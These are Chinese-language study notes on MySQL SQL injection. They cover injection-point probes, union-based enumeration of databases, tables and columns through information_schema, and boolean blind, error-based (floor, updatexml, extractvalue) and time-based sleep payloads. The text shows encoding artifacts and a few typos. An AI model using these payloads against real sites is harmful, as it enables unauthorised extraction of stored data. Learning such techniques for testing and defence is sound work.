MySQL數(shù)據(jù)庫(kù)初始的數(shù)據(jù)庫(kù)有:
information_schema,mysql,performance_schema與test。
SQL注入難點(diǎn):盲注,延時(shí)注入,文件導(dǎo)出;
在有些瀏覽器中,可以使用'--+'進(jìn)行注釋但不能使用'#';
SQL注入實(shí)質(zhì):就我自己而言所理解的SQL注入是注入的內(nèi)容與前面的SQL語(yǔ)句重新構(gòu)造成一個(gè)新的SQL語(yǔ)句來(lái)完成自己的需求。
SQL注入剛開始時(shí)要判斷是否有注入點(diǎn);
常用的判斷方法(url):
/?id=1--+
/?id=1'--+
/?id=1"--+
/?id=1')--+
/?id=0' or 1=1--+
/?id=1' and 1=0--+
常用函數(shù):
1. version()——MySQL 版本
2. user()——數(shù)據(jù)庫(kù)用戶名
3. database()——數(shù)據(jù)庫(kù)名
4. @@datadir——數(shù)據(jù)庫(kù)路徑
5. @@version_compile_os——操作系統(tǒng)版本
常用連接函數(shù):
1. concat(str1,str2,...)——沒有分隔符地連接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
3. group_concat(str1,str2,...)——連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù)
排序(order by)
如果我們需要對(duì)讀取的數(shù)據(jù)進(jìn)行排序,我們就可以使用 MySQL 的order by子句來(lái)設(shè)定你想按哪個(gè)字段哪種方式來(lái)進(jìn)行排序,再返回搜索結(jié)果
order by使用:
你可以使用任何字段來(lái)作為排序的條件,從而返回排序后的查詢結(jié)果。
?默認(rèn)情況下,它是按升序排列。
你可以添加 WHERE...LIKE 子句來(lái)設(shè)置條件。
聯(lián)合查詢:
union操作符:
union操作符用于合并兩個(gè)或多個(gè)select語(yǔ)句的結(jié)果集。
union內(nèi)部的select語(yǔ)句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。
每條select語(yǔ)句中的列的順序必須相同。
多個(gè)select語(yǔ)句會(huì)刪除重復(fù)的數(shù)據(jù)。
聯(lián)合查詢需要建立在有顯示位的基礎(chǔ)上。輸入id=0(-1)的原因是如果輸入一個(gè)有意義的值,那么網(wǎng)頁(yè)就會(huì)返回一個(gè)相應(yīng)的值,這時(shí),它會(huì)覆蓋后面聯(lián)合查詢出的結(jié)果,所以要用一個(gè)無(wú)意義的值來(lái)避免覆蓋。我們?cè)谥里@示位的時(shí)候可以在相應(yīng)的位置寫入希望查詢的語(yǔ)句。
查詢函數(shù):
group_concat:將數(shù)據(jù)呈一行顯示,有的時(shí)候數(shù)據(jù)過(guò)多沒辦法使用的時(shí)候可以用limit來(lái)對(duì)輸出的數(shù)據(jù)進(jìn)行限制。
db_name:你想查找的數(shù)據(jù)庫(kù)的名字
tb_name:你想查找的數(shù)據(jù)表的名字
col_name:你想查找的字段的名字(字段=列)
常用查詢語(yǔ)句:
查詢所有數(shù)據(jù)庫(kù)名:
select group_concat(schema_name) from information_schema.schemata
查詢當(dāng)前數(shù)據(jù)庫(kù):
select database();
查詢數(shù)據(jù)庫(kù)的所有數(shù)據(jù)表:
select group_concat(table_name) from information_schema.tables where table_schema='db_name'
查詢字段名:
1.select group_concat(column_name) from infromation_schema.columns where table_schema='db_name' and table_name='tb_name'
2.Select column_name from information_schema.columns where table_name='dbname'
查詢數(shù)據(jù):select group_concat(col_name) from db_name.tb_name
盲注
盲注的分類:
基于布爾 SQL 盲注
基于時(shí)間的 SQL 盲注
基于報(bào)錯(cuò)的 SQL 盲注
盲注常用的函數(shù):
mid()函數(shù)
mid(string,start,length)
mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
substr()函數(shù)
substr(string,start,length)
substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長(zhǎng)度。Ascii()將某個(gè)字符轉(zhuǎn)換為 ascii 值
left()函數(shù)
left(string,length)
left(database(),1)>’s’?????????? //database()顯示數(shù)據(jù)庫(kù)名稱,left(a,b)從左側(cè)截取 a 的前 b 位
string:規(guī)定要返回的字符串。
start:規(guī)定在字符串的何處開始(初始值為1)。
length:規(guī)定被返回字符串的長(zhǎng)度(可以省略,若省略則返回剩余所有文本)。
在比較的時(shí)候可以直接使用單引號(hào)>‘s’,也可以先轉(zhuǎn)換位ascii碼的形式再進(jìn)行比較。
布爾盲注的原理是根據(jù)頁(yè)面返回的是true還是false來(lái)判斷比較的字母是否正確。例如,如果數(shù)據(jù)庫(kù)的第一個(gè)字母在ASCII表中小于與100相對(duì)應(yīng)的字母,那么就會(huì)返回正常情況下的成功頁(yè)面;如果不小于的話,就會(huì)返回錯(cuò)誤的頁(yè)面。
報(bào)錯(cuò)注入:
報(bào)錯(cuò)注入也是盲注的一種,應(yīng)該為基于盲注的報(bào)錯(cuò)注入。目的是構(gòu)造 payload 讓信息通過(guò)錯(cuò)誤提示回顯出來(lái)。
常用報(bào)錯(cuò)方式:
floor報(bào)錯(cuò):
▲and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)?
floor()函數(shù)原本為向下取整,其中rand()函數(shù)為隨機(jī)數(shù)生成,不能于order by共用,數(shù)據(jù)記錄必須有兩條以上
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;
▲select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))
▲select count(*) from (select 1 union select null unionselect !1) group by concat(version(),floor(rand(0)*2))
此處有三個(gè)點(diǎn),一是需要 concat 計(jì)數(shù),二是 floor,取得 0 or 1,進(jìn)行數(shù)據(jù)的重復(fù),三是 group by 進(jìn)行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計(jì)數(shù)時(shí)重復(fù)造成的錯(cuò)誤。
updatexml報(bào)錯(cuò):
and updatexml(1,payload,1)
語(yǔ)句對(duì)payload的返回類型做了限制,只有在payload返回的不是xml格式才會(huì)生效,查詢時(shí)使用的concat()函數(shù)是將其連成一個(gè)字符串,因此不會(huì)符合XPATH_string的格式,從而出現(xiàn)格式錯(cuò)誤,出現(xiàn)查詢結(jié)果。
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 對(duì) xml 數(shù)據(jù)進(jìn)行查詢和修改的 xpath 函數(shù),xpath 語(yǔ)法錯(cuò)誤
extractvalue()報(bào)錯(cuò):
and extractvalue(1, payload)
其中payload是想要輸入的查詢子句。
extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql 對(duì) xml 數(shù)據(jù)進(jìn)行查詢和修改的 xpath 函數(shù),xpath 語(yǔ)法錯(cuò)誤
報(bào)錯(cuò)注入我使用的并不熟練,在此感謝大佬的文章SQL注入大法 - 簡(jiǎn)書
延時(shí)注入
sleep(n):網(wǎng)頁(yè)延遲n秒輸出結(jié)果;
if(a,b,c):if判斷句,a為條件,b、c為執(zhí)行語(yǔ)句;如果a為真就執(zhí)行b,a為假就執(zhí)行c;
length(database()):返回當(dāng)前數(shù)據(jù)庫(kù)名長(zhǎng)度;
If(ascii(substr(database(),1,1))>115,0,sleep(5))--+
//if 判斷語(yǔ)句,條件為假,執(zhí)行 sleep
以上所述只是簡(jiǎn)單的基礎(chǔ)操作,在實(shí)際的SQL注入中還有許多需要注意的問(wèn)題。
如:導(dǎo)入導(dǎo)出,寬字節(jié)注入……
但基礎(chǔ)操作和中心思想?yún)s沒有大的變化。